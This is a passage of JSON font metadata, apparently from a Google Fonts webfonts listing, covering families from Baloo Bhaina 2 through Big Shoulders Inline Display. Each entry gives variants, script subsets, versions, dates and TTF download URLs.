2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","oriya","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWczB6yyq4P9Adr3RtoX1q6yShz7mDUoupoI.ttf","500":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQPsREgkYYBX_3F.ttf","600":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQjthEgkYYBX_3F.ttf","700":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRHtxEgkYYBX_3F.ttf","800":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRbtBEgkYYBX_3F.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Chettan 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","malayalam","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8udRbmXEva26PK-NtuX4ynWEzf4P17OpYDlg.ttf","500":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznFNRfMr0fn5bhCA.ttf","600":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznONNfMr0fn5bhCA.ttf","700":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznXNJfMr0fn5bhCA.ttf","800":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznQNFfMr0fn5bhCA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Da 2","variants":["regular","500","600","700","800"],"subsets":["bengali","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balooda2/v1/2-ci9J9j0IaUMQZwAJyJcu7XoZFDf2Q.ttf","500":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJShr-hZloY23zejE.ttf","600":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSjb5hZloY23zejE.ttf","700":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSlL4hZloY23zejE.ttf","800":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSk77hZloY23zejE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Paaji 2","variants":["regular","500","600","700","800"],"subsets":["gurmukhi","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dMIFFzbz-QHZUdV9_UGWZuYFKQHwyVd3U.ttf","500":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWKa5OwS-a3yGe9E.ttf","600":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWIq-OwS-a3yGe9E.ttf","700":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWO6_OwS-a3yGe9E.ttf","800":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWPK8OwS-a3yGe9E.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Tamma 2","variants":["regular","500","600","700","800"],"subsets":["kannada","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balootamma2/v1/vEFX2_hCAgcR46PaajtrYlBbT0g21tqeR7c.ttf","500":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd7wf8tK1W77HtMo.ttf","600":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd5AY8tK1W77HtMo.ttf","700":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd_QZ8tK1W77HtMo.ttf","800":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd-ga8tK1W77HtMo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Tammudu 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","telugu","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balootammudu2/v1/1Pt2g8TIS_SAmkLguUdFP8UaJcK-xXEW6aGXHw.ttf","500":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGMVgy4YqLFrUnJA.ttf","600":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGHV8y4YqLFrUnJA.ttf","700":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGeV4y4YqLFrUnJA.ttf","800":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGZV0y4YqLFrUnJA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Thambi 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9cfjeOW0NHpmOQXranrbDyu4hHBJOxZQPp.ttf","500":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CzLbe5Th_gRA7L.ttf","600":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CfKre5Th_gRA7L.ttf","700":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7D7K7e5Th_gRA7L.ttf","800":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7DnKLe5Th_gRA7L.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Balsamiq Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v2","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sEzZiAbNrN8SB3lQQX7Pnc8dkdIYdNHzs.ttf","italic":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sazZiAbNrN8SB3lQQX7PncwdsXJaVIDzvcXA.ttf","700":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sZzZiAbNrN8SB3lQQX7PncyWUyBY9mAzLFRQI.ttf","700italic":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sfzZiAbNrN8SB3lQQX7PncwdsvmYpsBxDAVQI4aA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Balthazar","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/balthazar/v10/d6lKkaajS8Gm4CVQjFEvyRTo39l8hw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bangers","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bangers/v13/FeVQS0BTqb0h60ACL5la2bxii28.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Barlow","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/barlow/v5/7cHrv4kjgoGqM7E3b8s8yn4hnCci.ttf","100italic":"http://fonts.gstatic.com/s/barlow/v5/7cHtv4kjgoGqM7E_CfNYwHoDmTcibrA.ttf","200":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3w-oc4FAtlT47dw.ttf","200italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfP04Voptzsrd6m9.ttf","300":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3p-kc4FAtlT47dw.ttf","300italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOQ4loptzsrd6m9.ttf","regular":"http://fonts.gstatic.com/s/barlow/v5/7cHpv4kjgoGqM7EPC8E46HsxnA.ttf","italic":"http://fonts.gstatic.com/s/barlow/v5/7cHrv4kjgoGqM7E_Ccs8yn4hnCci.ttf","500":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3_-gc4FAtlT47dw.ttf","500italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfPI41optzsrd6m9.ttf","600":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E30-8c4FAtlT47dw.ttf","600italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfPk5Foptzsrd6m9.ttf","700":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3t-4c4FAtlT47dw.ttf","700italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOA5Voptzsrd6m9.ttf","800":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3q-0c4FAtlT47dw.ttf","800italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOc5loptzsrd6m9.ttf","900":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3j-wc4FAtlT47dw.ttf","900italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfO451optzsrd6m9.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barlow Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxxL3I-JCGChYJ8VI-L6OO_au7B43LT31vytKgbaw.ttf","100italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxzL3I-JCGChYJ8VI-L6OO_au7B6xTru1H2lq0La6JN.ttf","200":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B497y_3HcuKECcrs.ttf","200italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrF3DWvIMHYrtUxg.ttf","300":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B47rx_3HcuKECcrs.ttf","300italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrc3PWvIMHYrtUxg.ttf","regular":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTx3L3I-JCGChYJ8VI-L6OO_au7B2xbZ23n3pKg.ttf","italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxxL3I-JCGChYJ8VI-L6OO_au7B6xTT31vytKgbaw.ttf","500":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B4-Lw_3HcuKECcrs.ttf","500italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrK3LWvIMHYrtUxg.ttf","600":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B4873_3HcuKECcrs.ttf","600italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrB3XWvIMHYrtUxg.ttf","700":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B46r2_3HcuKECcrs.ttf","700italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrY3TWvIMHYrtUxg.ttf","800":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B47b1_3HcuKECcrs.ttf","800italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrf3fWvIMHYrtUxg.ttf","900":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B45L0_3HcuKECcrs.ttf","900italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrW3bWvIMHYrtUxg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barlow Semi Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfG4qvKk8ogoSP.ttf","100italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpjgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbLLIEsKh5SPZWs.ttf","200":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRft6uPAGEki52WfA.ttf","200italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJnAWsgqZiGfHK5.ttf","300":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf06iPAGEki52WfA.ttf","300italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIDAmsgqZiGfHK5.ttf","regular":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpvgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRnf4CrCEo4gg.ttf","italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfYqvKk8ogoSP.ttf","500":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfi6mPAGEki52WfA.ttf","500italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJbA2sgqZiGfHK5.ttf","600":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfp66PAGEki52WfA.ttf","600italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJ3BGsgqZiGfHK5.ttf","700":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfw6-PAGEki52WfA.ttf","700italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbITBWsgqZiGfHK5.ttf","800":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf36yPAGEki52WfA.ttf","800italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIPBmsgqZiGfHK5.ttf","900":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf-62PAGEki52WfA.ttf","900italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIrB2sgqZiGfHK5.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barriecito","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/barriecito/v3/WWXXlj-CbBOSLY2QTuY_KdUiYwTO0MU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Barrio","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/barrio/v5/wEO8EBXBk8hBIDiEdQYhWdsX1Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Basic","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/basic/v10/xfu_0WLxV2_XKQN34lDVyR7D.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Baskervville","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/baskervville/v4/YA9Ur0yU4l_XOrogbkun3kQgt5OohvbJ9A.ttf","italic":"http://fonts.gstatic.com/s/baskervville/v4/YA9Kr0yU4l_XOrogbkun3kQQtZmspPPZ9Mlt.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Battambang","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/battambang/v14/uk-mEGe7raEw-HjkzZabDnWj4yxx7o8.ttf","700":"http://fonts.gstatic.com/s/battambang/v14/uk-lEGe7raEw-HjkzZabNsmMxyRa8oZK9I0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baumans","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/baumans/v10/-W_-XJj9QyTd3QfpR_oyaksqY5Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bayon","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bayon/v14/9XUrlJNmn0LPFl-pOhYEd2NJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Be Vietnam","variants":["100","100italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/bevietnam/v2/FBVxdDflz-iPfoPuIC2iKsUn7W1hK2czPg.ttf","100italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVvdDflz-iPfoPuIC2iIqMfiWdlCWIjPi5p.ttf","300":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKg0FzUdPJ24qJzc.ttf","300italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfQUVFI0wvNzdwXQ.ttf","regular":"http://fonts.gstatic.com/s/bevietnam/v2/FBVzdDflz-iPfoPuIC2iEqEt6U9kO2c.ttf","italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVxdDflz-iPfoPuIC2iIqMn7W1hK2czPg.ttf","500":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKlUEzUdPJ24qJzc.ttf","500italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfGURFI0wvNzdwXQ.ttf","600":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKnkDzUdPJ24qJzc.ttf","600italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfNUNFI0wvNzdwXQ.ttf","700":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKh0CzUdPJ24qJzc.ttf","700italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfUUJFI0wvNzdwXQ.ttf","800":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKgEBzUdPJ24qJzc.ttf","800italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfTUFFI0wvNzdwXQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bebas Neue","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/bebasneue/v2/JTUSjIg69CK48gW7PXooxW5rygbi49c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Belgrano","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/belgrano/v11/55xvey5tM9rwKWrJZcMFirl08KDJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bellefair","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bellefair/v6/kJExBuYY6AAuhiXUxG19__A2pOdvDA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Belleza","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/belleza/v9/0nkoC9_pNeMfhX4BtcbyawzruP8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bellota","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/bellota/v2/MwQzbhXl3_qEpiwAID55kGMViblPtXs.ttf","300italic":"http://fonts.gstatic.com/s/bellota/v2/MwQxbhXl3_qEpiwAKJBjHGEfjZtKpXulTQ.ttf","regular":"http://fonts.gstatic.com/s/bellota/v2/MwQ2bhXl3_qEpiwAGJJRtGs-lbA.ttf","italic":"http://fonts.gstatic.com/s/bellota/v2/MwQ0bhXl3_qEpiwAKJBbsEk7hbBWrA.ttf","700":"http://fonts.gstatic.com/s/bellota/v2/MwQzbhXl3_qEpiwAIC5-kGMViblPtXs.ttf","700italic":"http://fonts.gstatic.com/s/bellota/v2/MwQxbhXl3_qEpiwAKJBjDGYfjZtKpXulTQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bellota Text","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/bellotatext/v2/0FlMVP2VnlWS4f3-UE9hHXM5VfsqfQXwQy6yxg.ttf","300italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlOVP2VnlWS4f3-UE9hHXMx--Gmfw_0YSuixmYK.ttf","regular":"http://fonts.gstatic.com/s/bellotatext/v2/0FlTVP2VnlWS4f3-UE9hHXMB-dMOdS7sSg.ttf","italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlNVP2VnlWS4f3-UE9hHXMx-9kKVyv8Sjer.ttf","700":"http://fonts.gstatic.com/s/bellotatext/v2/0FlMVP2VnlWS4f3-UE9hHXM5RfwqfQXwQy6yxg.ttf","700italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlOVP2VnlWS4f3-UE9hHXMx--G2eA_0YSuixmYK.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"BenchNine","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/benchnine/v9/ahcev8612zF4jxrwMosT--tRhWa8q0v8ag.ttf","regular":"http://fonts.gstatic.com/s/benchnine/v9/ahcbv8612zF4jxrwMosrV8N1jU2gog.ttf","700":"http://fonts.gstatic.com/s/benchnine/v9/ahcev8612zF4jxrwMosT6-xRhWa8q0v8ag.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bentham","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bentham/v11/VdGeAZQPEpYfmHglKWw7CJaK_y4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Berkshire Swash","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/berkshireswash/v9/ptRRTi-cavZOGqCvnNJDl5m5XmNPrcQybX4pQA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Beth Ellen","variants":["regular"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bethellen/v3/WwkbxPW2BE-3rb_JNT-qEIAiVNo5xNY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bevan","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bevan/v12/4iCj6KZ0a9NXjF8aUir7tlSJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1xPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ur9DrDJYM2lAZ.ttf","300":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UZ_LLJrgA00kAdA.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1_PZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1sy9rvLpMc2g.ttf","500":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UP_PLJrgA00kAdA.ttf","600":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UE_TLJrgA00kAdA.ttf","700":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ud_XLJrgA00kAdA.ttf","800":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ua_bLJrgA00kAdA.ttf","900":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UT_fLJrgA00kAdA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Inline Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOlmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COrytjChoEoUCJg.ttf","300":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COnSPrAJGHowbP0g.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LObmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85CAtiniAptAoU.ttf","500":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COiyOrAJGHowbP0g.ttf","600":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COgCJrAJGHowbP0g.ttf","700":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COmSIrAJGHowbP0g.ttf","800":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COniLrAJGHowbP0g.ttf","900":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COlyKrAJGHowbP0g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Inline 